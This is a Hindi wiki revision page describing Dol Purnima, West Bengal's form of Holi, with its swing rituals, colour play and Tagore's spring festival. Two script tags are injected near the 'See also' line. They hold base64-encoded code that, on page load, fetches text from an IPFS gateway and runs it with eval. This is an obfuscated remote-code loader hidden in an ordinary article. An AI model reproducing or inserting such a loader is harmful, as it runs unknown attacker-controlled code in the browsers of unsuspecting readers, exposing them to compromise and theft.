"डोल पूर्णिमा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''डोल पूर्णिमा''' अथवा '''डोल यात्रा''' पश्चिम बंगाल में...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - " शृंगार " to " श्रृंगार ")
 
(3 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''डोल पूर्णिमा''' अथवा '''डोल यात्रा''' [[पश्चिम बंगाल]] में [[होली]] को कहा जाता है। इस दौरान [[रंग|रंगों]] के साथ पूरे बंगाल की समृद्ध संस्‍कृति की झलक देखने को मिलती है। इस दिन लोग बसंती रंग के कपड़े पहनते हैं और फूलों से श्रृंगार करते हैं। सुबह से ही [[नृत्‍य]] और [[संगीत]] का कार्यक्रम चलता है। घरों में मीठे पकवान और बनते हैं। इस पर्व को डोल यात्रा के नाम से भी जाना जाता है। इस मौके पर [[राधा]]-[[कृष्‍ण]] की प्रतिमा झूले में स्‍थापित की जाती है और महिलाएँ बारी-बारी से इसे झुलाती हैं। शेष महिलाएँ इसके चारों ओर नृत्‍य करती हैं। पूरे उत्‍सव के दौरान पुरुष महिलाओं पर रंग फेंकते रहते हैं और बदले में महिलाएँ भी उन्‍हें रंग-[[गुलाल]] लगाती हैं।
+
{{सूचना बक्सा संक्षिप्त परिचय
 +
|चित्र=Dol-purnima.jpg
 +
|चित्र का नाम=डोल पूर्णिमा, पश्चिम बंगाल
 +
|विवरण=[[पश्चिम बंगाल]] में [[होली]] 'डोल पूर्णिमा' के रूप में भी मनायी जाती है। [[भारत]] में मनाई जाने वाली होली के विभिन्न रूपों में से यह एक है।
 +
|शीर्षक 1=राज्य
 +
|पाठ 1=[[पश्चिम बंगाल]]
 +
|शीर्षक 2=अन्य नाम
 +
|पाठ 2=डोल यात्रा
 +
|शीर्षक 3=
 +
|पाठ 3=
 +
|शीर्षक 4=
 +
|पाठ 4=
 +
|शीर्षक 5=
 +
|पाठ 5=
 +
|शीर्षक 6=
 +
|पाठ 6=
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[होली]], [[होलिका दहन]], [[होलिका]], [[प्रह्लाद]], [[हिरण्यकशिपु]]
 +
|अन्य जानकारी=इस दिन लोग बसंती रंग के कपड़े पहनते हैं और फूलों से श्रृंगार करते हैं।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
 
 +
'''डोल पूर्णिमा''' अथवा '''डोल यात्रा''' [[पश्चिम बंगाल]] में [[होली]] को कहा जाता है। इस दौरान [[रंग|रंगों]] के साथ पूरे बंगाल की समृद्ध संस्‍कृति की झलक देखने को मिलती है। इस दिन लोग बसंती रंग के कपड़े पहनते हैं और फूलों से श्रृंगार करते हैं।
 +
 
 +
*इस त्योहार पर सुबह से ही [[नृत्य]] और [[संगीत]] का कार्यक्रम शुरू हो जाता है, जो पूरे दिन चलता है।
 +
*घरों में मीठे पकवान बनाये जाते हैं।
 +
*इस पर्व को 'डोल यात्रा' के नाम से भी जाना जाता है। इस मौके पर [[राधा]]-[[कृष्ण]] की प्रतिमा झूले में स्‍थापित की जाती है और महिलाएँ बारी-बारी से इसे झुलाती हैं। शेष महिलाएँ इसके चारों ओर नृत्‍य करती हैं।
 +
*पूरे उत्‍सव के दौरान पुरुष महिलाओं पर [[रंग]] फेंकते रहते हैं और बदले में महिलाएँ भी उन्‍हें रंग-[[गुलाल]] लगाती हैं।  
 +
*[[उड़ीसा]] में भी [[होली]] को 'डोल पूर्णिमा' कहते हैं और [[जगन्नाथ रथयात्रा उड़ीसा|भगवान जगन्नाथ जी]] की डोली निकाली जाती है।
 
==वसन्तोत्सव==  
 
==वसन्तोत्सव==  
 
[[रवीन्द्रनाथ टैगोर|गुरु रवीन्द्रनाथ टैगोर]] ने होली के ही दिन [[शान्ति निकेतन]] में वसन्तोत्सव का आयोजन किया था, तब से आज तक इसे यहाँ बड़ी धूमधाम से मनाया जाता है।  
 
[[रवीन्द्रनाथ टैगोर|गुरु रवीन्द्रनाथ टैगोर]] ने होली के ही दिन [[शान्ति निकेतन]] में वसन्तोत्सव का आयोजन किया था, तब से आज तक इसे यहाँ बड़ी धूमधाम से मनाया जाता है।  
पंक्ति 9: पंक्ति 45:
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 +
==बाहरी कड़ियाँ==
 +
*[http://ramakrishnamission.org/celebration_photo_gallery/dol_purnima_photo_gallery2009/index_2.htm#10 डोल पूर्णिमा]
 
==संबंधित लेख==
 
==संबंधित लेख==
{{होली विडियो}}
+
{{होली}}{{होली विडियो}}
[[Category:होली]]
+
[[Category:होली]][[Category:उड़ीसा राज्य]]
 
[[Category:पश्चिम बंगाल]][[Category:पर्व और त्योहार]][[Category:संस्कृति कोश]]
 
[[Category:पश्चिम बंगाल]][[Category:पर्व और त्योहार]][[Category:संस्कृति कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

08:53, 17 जुलाई 2017 के समय का अवतरण

डोल पूर्णिमा
डोल पूर्णिमा, पश्चिम बंगाल
विवरण पश्चिम बंगाल में होली 'डोल पूर्णिमा' के रूप में भी मनायी जाती है। भारत में मनाई जाने वाली होली के विभिन्न रूपों में से यह एक है।
राज्य पश्चिम बंगाल
अन्य नाम डोल यात्रा
संबंधित लेख होली, होलिका दहन, होलिका, प्रह्लाद, हिरण्यकशिपु
अन्य जानकारी इस दिन लोग बसंती रंग के कपड़े पहनते हैं और फूलों से श्रृंगार करते हैं।

डोल पूर्णिमा अथवा डोल यात्रा पश्चिम बंगाल में होली को कहा जाता है। इस दौरान रंगों के साथ पूरे बंगाल की समृद्ध संस्‍कृति की झलक देखने को मिलती है। इस दिन लोग बसंती रंग के कपड़े पहनते हैं और फूलों से श्रृंगार करते हैं।

  • इस त्योहार पर सुबह से ही नृत्य और संगीत का कार्यक्रम शुरू हो जाता है, जो पूरे दिन चलता है।
  • घरों में मीठे पकवान बनाये जाते हैं।
  • इस पर्व को 'डोल यात्रा' के नाम से भी जाना जाता है। इस मौके पर राधा-कृष्ण की प्रतिमा झूले में स्‍थापित की जाती है और महिलाएँ बारी-बारी से इसे झुलाती हैं। शेष महिलाएँ इसके चारों ओर नृत्‍य करती हैं।
  • पूरे उत्‍सव के दौरान पुरुष महिलाओं पर रंग फेंकते रहते हैं और बदले में महिलाएँ भी उन्‍हें रंग-गुलाल लगाती हैं।
  • उड़ीसा में भी होली को 'डोल पूर्णिमा' कहते हैं और भगवान जगन्नाथ जी की डोली निकाली जाती है।

वसन्तोत्सव

गुरु रवीन्द्रनाथ टैगोर ने होली के ही दिन शान्ति निकेतन में वसन्तोत्सव का आयोजन किया था, तब से आज तक इसे यहाँ बड़ी धूमधाम से मनाया जाता है।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: मथुरा होली चित्र वीथिका, बरसाना होली चित्र वीथिका एवं बलदेव होली चित्र वीथिका


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख